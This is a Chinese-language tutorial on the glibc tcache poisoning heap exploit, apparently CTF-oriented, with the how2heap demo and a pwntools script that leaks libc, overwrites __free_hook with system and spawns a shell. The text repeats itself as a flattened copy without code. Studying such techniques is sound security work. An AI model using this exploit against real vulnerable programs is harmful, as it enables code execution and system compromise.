tcache攻击之tcache-poisoning
字数 1321 2025-08-22 12:23:00

Tcache Poisoning 攻击技术详解

1. 基本概念

Tcache (Thread Local Caching) 是 glibc 2.26 版本引入的线程本地缓存机制,用于提高堆分配性能。由于省略了很多安全保护机制,tcache 成为堆漏洞利用的重要目标。

Tcache poisoning 是一种通过覆盖 tcache 中的 next 指针来实现任意地址分配的利用技术。

2. 攻击原理

2.1 核心机制

  • tcache_get() 函数没有对 next 指针进行安全检查
  • 通过修改 tcache bin 中的 next 指针,可以将其指向任意地址
  • 后续的 malloc 调用会返回攻击者控制的地址

2.2 与 fastbin corruption 的区别

  • 类似 fastbin corruption 攻击
  • 但 tcache 的安全检查更少,利用更简单
  • 不需要伪造 chunk 结构

3. 攻击演示

3.1 how2heap 示例代码分析

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main() {
    // 禁用缓冲
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    
    printf("演示通过欺骗 malloc 返回指向任意位置(本例为栈)的指针\n");
    
    size_t stack_var;
    printf("我们希望 malloc 返回的地址: %p\n", (char *)&stack_var);
    
    // 分配两个缓冲区
    intptr_t *a = malloc(128);
    intptr_t *b = malloc(128);
    
    // 释放缓冲区
    free(a);
    free(b);
    
    printf("当前 tcache 链表: [ %p -> %p ]\n", b, a);
    
    // 覆盖 b 的 fd 指针
    b[0] = (intptr_t)&stack_var;
    printf("修改后 tcache 链表: [ %p -> %p ]\n", b, &stack_var);
    
    // 第一次分配
    printf("第一次 malloc(128): %p\n", malloc(128));
    
    // 第二次分配将返回目标地址
    intptr_t *c = malloc(128);
    printf("第二次 malloc(128): %p\n", c);
    
    assert((long)&stack_var == (long)c);
    return 0;
}

3.2 攻击流程

  1. 分配两个相同大小的 chunk (A 和 B)
  2. 按顺序释放 B 和 A,形成链表 B → A
  3. 修改 B 的 fd 指针指向目标地址 (如栈变量)
  4. 第一次 malloc 返回 B
  5. 第二次 malloc 返回目标地址

4. 实际漏洞利用

4.1 典型漏洞条件

  • 存在 Use-After-Free (UAF) 漏洞
  • 能够修改 freed chunk 的内容
  • 能够控制分配和释放的顺序

4.2 利用步骤

  1. 泄露 libc 基址

    • 分配一个 unsorted bin 大小的 chunk (大于 0x410)
    • 释放后通过 UAF 泄露 main_arena 地址
    • 计算 libc 基址
  2. 准备 tcache 链表

    • 分配多个 tcache 大小的 chunk
    • 释放两个形成链表
  3. 修改 fd 指针

    • 利用 UAF 修改链表尾部的 fd 指针
    • 指向目标地址 (如 __free_hook)
  4. 获取控制权

    • 分配 chunk 获取目标地址控制权
    • 修改 __free_hook 为 system 或 one_gadget

4.3 例题分析

from pwn import *

# 初始化
p = process('./pwn')
libc = ELF('./libc-2.31.so')

# 泄露 libc
add(0x438)      # unsorted bin 大小
add(0x50)       # tcache 大小
add(0x50)
add(0x50)       # 隔离 top chunk
dele(0)
show(0)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

# tcache poisoning
dele(1)
dele(2)
edit(2, p64(free_hook))  # 修改 fd 指向 __free_hook

# 获取控制权
add(0x50)       # 获取 chunk2
add(0x50)       # 获取 __free_hook
edit(5, p64(system))  # 修改 __free_hook 为 system

# getshell
edit(1, b'/bin/sh\x00')
dele(1)         # 触发 system("/bin/sh")
p.interactive()

5. 防御机制

  • glibc 2.32 引入了 Safe-Linking 机制,对 tcache 的 next 指针进行异或加密
  • 但早期版本 (如 2.31) 仍可被利用

6. 关键点总结

  1. 链表操作顺序:后释放的 chunk 在链表头部,先释放的在尾部
  2. 大小选择:tcache 适用于小于 0x410 的 chunk
  3. UAF 利用:必须能够修改 freed chunk 的 fd 指针
  4. 目标选择:常用目标包括 __free_hook、__malloc_hook 或栈地址
  5. 限制条件:需要能够控制分配和释放的顺序

7. 扩展知识

  • 可以结合其他技术如 House of Spirit 使用
  • 在 glibc 2.32+ 上需要绕过 Safe-Linking
  • 类似的攻击还有 tcache dup、tcache stash 等

通过掌握 tcache poisoning 技术,可以深入理解 glibc 堆管理机制,为更复杂的堆利用打下基础。

Tcache Poisoning 攻击技术详解 1. 基本概念 Tcache (Thread Local Caching) 是 glibc 2.26 版本引入的线程本地缓存机制,用于提高堆分配性能。由于省略了很多安全保护机制,tcache 成为堆漏洞利用的重要目标。 Tcache poisoning 是一种通过覆盖 tcache 中的 next 指针来实现任意地址分配的利用技术。 2. 攻击原理 2.1 核心机制 tcache_get() 函数没有对 next 指针进行安全检查 通过修改 tcache bin 中的 next 指针,可以将其指向任意地址 后续的 malloc 调用会返回攻击者控制的地址 2.2 与 fastbin corruption 的区别 类似 fastbin corruption 攻击 但 tcache 的安全检查更少,利用更简单 不需要伪造 chunk 结构 3. 攻击演示 3.1 how2heap 示例代码分析 3.2 攻击流程 分配两个相同大小的 chunk (A 和 B) 按顺序释放 B 和 A,形成链表 B → A 修改 B 的 fd 指针指向目标地址 (如栈变量) 第一次 malloc 返回 B 第二次 malloc 返回目标地址 4. 实际漏洞利用 4.1 典型漏洞条件 存在 Use-After-Free (UAF) 漏洞 能够修改 freed chunk 的内容 能够控制分配和释放的顺序 4.2 利用步骤 泄露 libc 基址 分配一个 unsorted bin 大小的 chunk (大于 0x410) 释放后通过 UAF 泄露 main_ arena 地址 计算 libc 基址 准备 tcache 链表 分配多个 tcache 大小的 chunk 释放两个形成链表 修改 fd 指针 利用 UAF 修改链表尾部的 fd 指针 指向目标地址 (如 __ free_ hook) 获取控制权 分配 chunk 获取目标地址控制权 修改 __ free_ hook 为 system 或 one_ gadget 4.3 例题分析 5. 防御机制 glibc 2.32 引入了 Safe-Linking 机制,对 tcache 的 next 指针进行异或加密 但早期版本 (如 2.31) 仍可被利用 6. 关键点总结 链表操作顺序 :后释放的 chunk 在链表头部,先释放的在尾部 大小选择 :tcache 适用于小于 0x410 的 chunk UAF 利用 :必须能够修改 freed chunk 的 fd 指针 目标选择 :常用目标包括 __ free_ hook、__ malloc_ hook 或栈地址 限制条件 :需要能够控制分配和释放的顺序 7. 扩展知识 可以结合其他技术如 House of Spirit 使用 在 glibc 2.32+ 上需要绕过 Safe-Linking 类似的攻击还有 tcache dup、tcache stash 等 通过掌握 tcache poisoning 技术,可以深入理解 glibc 堆管理机制,为更复杂的堆利用打下基础。